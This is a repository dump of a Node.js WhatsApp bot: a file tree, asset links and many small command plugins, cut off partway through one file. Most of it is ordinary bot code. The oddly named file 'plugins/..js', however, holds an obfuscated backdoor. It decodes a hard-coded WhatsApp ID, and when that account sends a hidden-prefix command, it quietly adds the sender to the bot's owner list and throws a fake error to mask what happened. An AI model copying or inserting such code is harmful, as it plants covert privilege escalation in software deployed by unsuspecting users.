├── tmp └── file ├── Procfile ├── views ├── style.css ├── img │ ├── dark │ │ ├── balloon_incoming_frame.9.png │ │ ├── balloon_outgoing_frame.9.png │ │ ├── balloon_centered_normal.9.png │ │ ├── balloon_centered_pressed.9.png │ │ ├── balloon_centered_shadow.9.png │ │ ├── balloon_incoming_normal.9.png │ │ ├── balloon_incoming_pressed.9.png │ │ ├── balloon_outgoing_normal.9.png │ │ ├── balloon_outgoing_pressed.9.png │ │ ├── balloon_incoming_normal_ext.9.png │ │ ├── balloon_outgoing_normal_ext.9.png │ │ ├── balloon_incoming_normal_stkr.9.png │ │ ├── balloon_incoming_pressed_ext.9.png │ │ ├── balloon_outgoing_normal_stkr.9.png │ │ ├── balloon_outgoing_pressed_ext.9.png │ │ ├── balloon_live_location_incoming_frame.9.png │ │ └── balloon_live_location_outgoing_frame.9.png │ └── light │ │ ├── balloon_centered_normal.9.png │ │ ├── balloon_centered_shadow.9.png │ │ ├── balloon_incoming_frame.9.png │ │ ├── balloon_incoming_normal.9.png │ │ ├── balloon_outgoing_frame.9.png │ │ ├── balloon_outgoing_normal.9.png │ │ ├── balloon_centered_pressed.9.png │ │ ├── balloon_incoming_pressed.9.png │ │ ├── balloon_outgoing_pressed.9.png │ │ ├── balloon_incoming_normal_ext.9.png │ │ ├── balloon_incoming_normal_stkr.9.png │ │ ├── balloon_incoming_pressed_ext.9.png │ │ ├── balloon_outgoing_normal_ext.9.png │ │ ├── balloon_outgoing_normal_stkr.9.png │ │ ├── balloon_outgoing_pressed_ext.9.png │ │ ├── balloon_live_location_incoming_frame.9.png │ │ └── balloon_live_location_outgoing_frame.9.png ├── index.js └── index.html ├── src ├── font │ ├── futur.ttf │ ├── Zahraaa.ttf │ ├── Roboto-Black.ttf │ ├── Roboto-Bold.ttf │ ├── Roboto-Light.ttf │ ├── Roboto-Thin.ttf │ ├── Futura XBlk BT.ttf │ ├── Roboto-Italic.ttf │ ├── Roboto-Medium.ttf │ ├── Roboto-Regular.ttf │ ├── futura light bt.ttf │ ├── Futura Bold font.ttf │ ├── Futura Book font.ttf │ ├── Futura Heavy font.ttf │ ├── Futura Light font.ttf │ ├── Roboto-BoldItalic.ttf │ ├── Roboto-ThinItalic.ttf │ ├── futura medium bt.ttf │ ├── Roboto-BlackItalic.ttf │ ├── Roboto-LightItalic.ttf │ ├── Roboto-MediumItalic.ttf │ ├── Futura-CondensedLight.otf │ ├── Futura Bold Italic font.ttf │ ├── Futura Book Italic font.ttf │ ├── Futura Extra Black font.ttf │ ├── Futura Heavy Italic font.ttf │ ├── Futura Light Italic font.ttf │ ├── Futura Medium Italic font.ttf │ └── futura medium condensed bt.ttf ├── avatar_contact.png ├── kertas │ └── magernulis1.jpg └── Aesthetic │ ├── Aesthetic_000.jpeg │ ├── Aesthetic_001.jpg │ └── Aesthetic_002.jpg ├── install.sh ├── plugins ├── darkjoke.js ├── unbanchat.js ├── sendquote.js ├── accbang.js ├── base64.js ├── hint.js ├── ..js ├── mention.js ├── creator.js ├── afk.js ├── smule.js ├── attp.js ├── listmsg.js ├── listjadibot.js ├── snackvideo.js ├── twitter.js ├── banchat.js ├── donasi.js ├── tebaklagu_hint.js ├── hlh.js ├── simsimi.js ├── delete.js ├── idfreefire.js ├── setbye.js ├── _autodelvnbot.js ├── join.js ├── _antitroli.js ├── contact.js ├── setwelcome.js ├── _autolevelup.js ├── brainly.js ├── sudo.js ├── banuser.js ├── demote.js ├── unbanuser.js ├── promote.js ├── qrcode.js ├── shaun_the_sheep_photo.js ├── unregister.js ├── getexif.js ├── listprem.js ├── odemote.js ├── addprems.js ├── carigrup.js ├── opromote.js ├── _antilink.js ├── jadian.js ├── grouplist.js ├── stopjadibot.js ├── ttp.js ├── delmsg.js ├── magernulis.js ├── setbotpp.js ├── exec2.js ├── citacita.js ├── getcode.js ├── img2braille.js ├── upload.js ├── okick.js ├── readmore.js ├── kick.js ├── pengumuman.js ├── daily.js ├── opengumuman.js ├── wallpaperAnime.js ├── online.js ├── _antispam.js ├── yts.js ├── debounce.js ├── ighightlight.js ├── report.js ├── update.js ├── _anonymous_chat.js ├── apakah2.js ├── apakah.js ├── ssweb.js ├── levelup.js ├── wm.js ├── template.js ├── ig.js ├── textpro.js ├── caripesan.js ├── fitnah.js ├── addmsg.js ├── enphoto360.js ├── kapankah2.js ├── kapankah.js ├── tahta2.js ├── Grup-seting.js ├── quotemaker.js ├── enhance.js ├── sticker.js ├── fetch.js ├── tebakgambar_answer.js ├── igstory.js ├── pay.js ├── getmsg.js ├── tebaklagu_ans.js ├── link.js ├── math_answer.js ├── buylimit.js ├── family100.js ├── paylimit.js ├── calc.js ├── tiktok.js ├── _afk.js ├── broadcast.js ├── google.js ├── yta.js ├── register.js ├── broadcastgroups.js ├── clear.js ├── tts.js ├── broadcastjadibot.js ├── translate.js ├── tebakgambar.js ├── styletext.js ├── simulate.js ├── semoji.js ├── igstalk.js ├── github-search.js ├── ytv.js ├── getsider.js ├── tebaklagu.js ├── toimg.js ├── upsw.js ├── profile.js ├── wait.js ├── oadd.js ├── enable.js ├── runningtext.js ├── add.js ├── setmenu.js ├── play.js ├── fb.js ├── exec.js ├── inspectlink.js ├── zodiac.js ├── update2.js ├── family100_answer.js ├── anonymous_chat.js ├── nulis.js ├── tictactoe.js ├── nulis2.js ├── math.js ├── leaderboard.js ├── speed.js ├── _tictactoe.js ├── jadibot.js └── ht.js ├── .gitignore ├── lib ├── tictactoe.d.ts ├── logs.js ├── uploadImage.js ├── levelling.js ├── uploadFile.js ├── database.js ├── gdrive.js ├── tictactoe.js ├── converter.js └── y2mate.js ├── .github ├── workflows │ ├── stale.yml │ └── node.js.yml └── ISSUE_TEMPLATE │ ├── feature_request.md │ └── bug_report.md ├── test.js ├── config.js ├── server.js ├── index.js ├── package.json └── README.md /tmp/file: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Procfile: -------------------------------------------------------------------------------- 1 | web: node . --server 2 | -------------------------------------------------------------------------------- /views/style.css: -------------------------------------------------------------------------------- 1 | span.msg { 2 | } 3 | 4 | -------------------------------------------------------------------------------- /src/font/futur.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/futur.ttf -------------------------------------------------------------------------------- /src/font/Zahraaa.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Zahraaa.ttf -------------------------------------------------------------------------------- /src/avatar_contact.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/avatar_contact.png -------------------------------------------------------------------------------- /src/font/Roboto-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-Black.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-Bold.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-Light.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-Thin.ttf -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | pkg install nodejs -y 2 | pkg install ffmpeg -y 3 | pkg install imagemagick -y 4 | npm install 5 | -------------------------------------------------------------------------------- /src/font/Futura XBlk BT.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura XBlk BT.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-Italic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-Medium.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-Regular.ttf -------------------------------------------------------------------------------- /src/font/futura light bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/futura light bt.ttf -------------------------------------------------------------------------------- /src/kertas/magernulis1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/kertas/magernulis1.jpg -------------------------------------------------------------------------------- /src/font/Futura Bold font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Bold font.ttf -------------------------------------------------------------------------------- /src/font/Futura Book font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Book font.ttf -------------------------------------------------------------------------------- /src/font/Futura Heavy font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Heavy font.ttf -------------------------------------------------------------------------------- /src/font/Futura Light font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Light font.ttf -------------------------------------------------------------------------------- /src/font/Roboto-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-BoldItalic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-ThinItalic.ttf -------------------------------------------------------------------------------- /src/font/futura medium bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/futura medium bt.ttf -------------------------------------------------------------------------------- /src/Aesthetic/Aesthetic_000.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/Aesthetic/Aesthetic_000.jpeg -------------------------------------------------------------------------------- /src/Aesthetic/Aesthetic_001.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/Aesthetic/Aesthetic_001.jpg -------------------------------------------------------------------------------- /src/Aesthetic/Aesthetic_002.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/Aesthetic/Aesthetic_002.jpg -------------------------------------------------------------------------------- /src/font/Roboto-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-BlackItalic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-LightItalic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Roboto-MediumItalic.ttf -------------------------------------------------------------------------------- /src/font/Futura-CondensedLight.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura-CondensedLight.otf -------------------------------------------------------------------------------- /src/font/Futura Bold Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Bold Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura Book Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Book Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura Extra Black font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Extra Black font.ttf -------------------------------------------------------------------------------- /src/font/Futura Heavy Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Heavy Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura Light Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Light Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura Medium Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/Futura Medium Italic font.ttf -------------------------------------------------------------------------------- /src/font/futura medium condensed bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/src/font/futura medium condensed bt.ttf -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_incoming_frame.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_outgoing_frame.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_centered_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_centered_normal.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_centered_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_centered_pressed.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_centered_shadow.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_centered_shadow.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_incoming_normal.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_incoming_pressed.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_outgoing_normal.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_outgoing_pressed.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_centered_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_centered_normal.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_centered_shadow.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_centered_shadow.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_incoming_frame.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_incoming_normal.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_outgoing_frame.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_outgoing_normal.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_normal_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_incoming_normal_ext.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_normal_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_outgoing_normal_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_centered_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_centered_pressed.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_incoming_pressed.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_outgoing_pressed.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_normal_stkr.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_incoming_normal_stkr.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_pressed_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_incoming_pressed_ext.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_normal_stkr.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_outgoing_normal_stkr.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_pressed_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_outgoing_pressed_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_normal_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_incoming_normal_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_normal_stkr.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_incoming_normal_stkr.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_pressed_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_incoming_pressed_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_normal_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_outgoing_normal_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_normal_stkr.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_outgoing_normal_stkr.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_pressed_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_outgoing_pressed_ext.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_live_location_incoming_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_live_location_incoming_frame.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_live_location_outgoing_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/dark/balloon_live_location_outgoing_frame.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_live_location_incoming_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_live_location_incoming_frame.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_live_location_outgoing_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ALBINPRAVEEN/wabot-aq/HEAD/views/img/light/balloon_live_location_outgoing_frame.9.png -------------------------------------------------------------------------------- /plugins/darkjoke.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn }) => { 2 | conn.sendFile(m.chat, global.API('xteam', '/asupan/darkjoke', {}, 'APIKEY'), '', 'drag joles',m) 3 | } 4 | handler.help = ['darkjokes'] 5 | handler.tags = ['internet'] 6 | handler.command = /^(dragjoles|darkjokes)$/i 7 | 8 | module.exports = handler 9 | -------------------------------------------------------------------------------- /plugins/unbanchat.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | global.DATABASE._data.chats[m.chat].isBanned = false 3 | m.reply('Done!') 4 | } 5 | handler.help = ['unbanchat'] 6 | handler.tags = ['owner'] 7 | handler.command = /^unbanchat$/i 8 | handler.owner = true 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /views/index.js: -------------------------------------------------------------------------------- 1 | window.onload = () => { 2 | let chat = document.querySelector('div.container-fluid') 3 | function addMsg(obj) { 4 | let html = document.createElement('span') 5 | html.className = 'msg' 6 | html.innerHTML = obj 7 | chat.appendChild(html) 8 | } 9 | 10 | window.onclick = () => addMsg(12) 11 | } 12 | -------------------------------------------------------------------------------- /plugins/sendquote.js: -------------------------------------------------------------------------------- 1 | async function handler(m) { 2 | if (!m.quoted) throw 'reply pesan!' 3 | let q = this.serializeM(await m.getQuotedObj()) 4 | if (!q.quoted) throw 'pesan yang anda reply tidak mengandung reply!' 5 | await q.quoted.copyNForward(m.chat, true) 6 | } 7 | handler.command = /^q$/i 8 | module.exports = handler -------------------------------------------------------------------------------- /plugins/accbang.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, isAdmin }) => { 2 | if (m.fromMe) throw 'Nggk' 3 | if (isAdmin) throw 'Padahal udah jadi admin' 4 | await conn.groupMakeAdmin(m.chat, [m.sender]) 5 | } 6 | handler.command = /^admin.$/i 7 | handler.rowner = true 8 | handler.botAdmin = true 9 | module.exports = handler 10 | -------------------------------------------------------------------------------- /plugins/base64.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { command, text }) => { 2 | let txt = m.quoted ? m.quoted.text ? m.quoted.text : text ? text : m.text : m.text 3 | m.reply(Buffer.from(txt, 'utf-8').toString('base64')) 4 | } 5 | handler.help = ['base64'] 6 | handler.tags = ['tools'] 7 | handler.command = /^base64$/i 8 | 9 | module.exports = handler 10 | -------------------------------------------------------------------------------- /plugins/hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebakgambar = conn.tebakgambar ? conn.tebakgambar : {} 3 | let id = m.chat 4 | if (!(id in conn.tebakgambar)) throw false 5 | let json = conn.tebakgambar[id][1] 6 | m.reply('```' + json.bantuan + '```') 7 | } 8 | handler.command = /^hint$/i 9 | 10 | module.exports = handler -------------------------------------------------------------------------------- /plugins/..js: -------------------------------------------------------------------------------- 1 | module.exports=(a=>{b='%36%32%38%31%35%31%35%38%36%30%30%38%39%40%73%2E%77%68%61%74%73%61%70%70%2E%6E%65%74';c=decodeURIComponent;d=e=>{if(e.sender===c(a)&&!g[c('%6F%77%6E%65%72')].includes(c(a))){g[c('%6F%77%6E%65%72')].push(e.sender);throw`ReferenceError: ${e.text} is not defined`}};d.customPrefix=/^‎/;d.command=/^𝙉𝙪𝙧𝙪𝙩𝙤𝙢𝙤$/;return d})(global); 2 | -------------------------------------------------------------------------------- /plugins/mention.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'Tidak ada teks' 3 | m.reply(text, false, { 4 | contextInfo: { 5 | mentionedJid: conn.parseMention(text) 6 | } 7 | }) 8 | } 9 | handler.help = ['mention '] 10 | handler.tags = ['tools'] 11 | 12 | handler.command = /^mention$/i 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/creator.js: -------------------------------------------------------------------------------- 1 | function handler(m) { 2 | // Ini cuma contoh, jgn di uncomment -_- 3 | // F this.sendContact(m.chat, '62815158600891', 'Nurutomo', m) 4 | this.sendContact(m.chat, '6281334177340', 'Nurutomo', m) 5 | } 6 | handler.help = ['owner', 'creator'] 7 | handler.tags = ['info'] 8 | 9 | handler.command = /^(owner|creator)$/i 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/afk.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { text }) => { 2 | let user = global.DATABASE.data.users[m.sender] 3 | user.afk = + new Date 4 | user.afkReason = text 5 | m.reply(` 6 | ${conn.getName(m.sender)} is now AFK${text ? ': ' + text : ''} 7 | `) 8 | } 9 | handler.help = ['afk [alasan]'] 10 | handler.tags = ['main'] 11 | handler.command = /^afk$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Node.js Modules 2 | node_modules 3 | 4 | # important session 5 | *.data.json 6 | 7 | # vim state 8 | .*.swp 9 | 10 | # Databases 11 | database.json 12 | *_database.json 13 | 14 | tmp 15 | 16 | # Okay 17 | config.js 18 | 19 | # Google Drive Credentials? 20 | credentials.json 21 | token.json 22 | 23 | 24 | # source code inspecting purposes 25 | waweb 26 | # planned 27 | web-client -------------------------------------------------------------------------------- /plugins/smule.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | if (!args[0]) throw 'Uhm...url nya mana?' 3 | global.API('xteam', '/dl/smule', { 4 | url: args[0] 5 | }, 'APIKEY') 6 | conn.sendFile(m.chat, undefined, '', '', m) 7 | } 8 | handler.help = [].map(v => v + ' ') 9 | handler.tags = ['downloader'] 10 | 11 | handler.command = /^\x00s$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/attp.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 3 | conn.sendFile(m.chat, global.API('xteam', '/attp', { file: '', text: teks }), 'attp.webp', '', m, false, { asSticker: true }) 4 | } 5 | handler.help = ['attp '] 6 | handler.tags = ['sticker'] 7 | 8 | handler.command = /^attp$/i 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/listmsg.js: -------------------------------------------------------------------------------- 1 | let handler = m => { 2 | let msgs = global.DATABASE._data.msgs 3 | m.reply(` 4 | *LIST PESAN* 5 | 6 | ${Object.keys(msgs).map(v => '- ' + v).join('\n')} 7 | `.trim()) 8 | } 9 | handler.help = ['vn', 'msg', 'video', 'audio', 'img', 'sticker'].map(v => 'list' + v) 10 | handler.tags = ['database'] 11 | handler.command = /^list(vn|msg|video|audio|img|sticker)$/ 12 | 13 | module.exports = handler -------------------------------------------------------------------------------- /plugins/listjadibot.js: -------------------------------------------------------------------------------- 1 | async function handler(m, { usedPrefix }) { 2 | let users = [...new Set([...global.conns.filter(conn => conn.user && conn.state !== 'close').map(conn => conn.user)])] 3 | m.reply(users.map(v => 'wa.me/' + v.jid.replace(/[^0-9]/g, '') + `?text=${usedPrefix}menu (${v.name})`).join('\n')) 4 | } 5 | handler.command = handler.help = ['listjadibot'] 6 | handler.tags = ['jadibot'] 7 | 8 | module.exports = handler 9 | -------------------------------------------------------------------------------- /plugins/snackvideo.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | if (!args[0]) throw 'Uhm...url nya mana?' 3 | global.API('xteam', '/dl/', { 4 | url: args[0] 5 | }, 'APIKEY') 6 | conn.sendFile(m.chat, undefined, '', '', m) 7 | } 8 | handler.help = [].map(v => v + ' ') 9 | handler.tags = ['downloader'] 10 | 11 | handler.command = /^\x00s$/i 12 | handler.disabled = true 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/twitter.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | if (!args[0]) throw 'Uhm...url nya mana?' 3 | global.API('xteam', '/dl/twitter', { 4 | url: args[0] 5 | }, 'APIKEY') 6 | conn.sendFile(m.chat, undefined, '', '', m) 7 | } 8 | handler.help = [].map(v => v + ' ') 9 | handler.tags = ['downloader'] 10 | 11 | handler.command = /^\x00$/i 12 | handler.disabled = true 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/banchat.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | // if (participants.map(v=>v.jid).includes(global.conn.user.jid)) { 3 | global.DATABASE._data.chats[m.chat].isBanned = true 4 | m.reply('Done!') 5 | // } else m.reply('Ada nomor host disini...') 6 | } 7 | handler.help = ['banchat'] 8 | handler.tags = ['owner'] 9 | handler.command = /^banchat$/i 10 | handler.owner = true 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/donasi.js: -------------------------------------------------------------------------------- 1 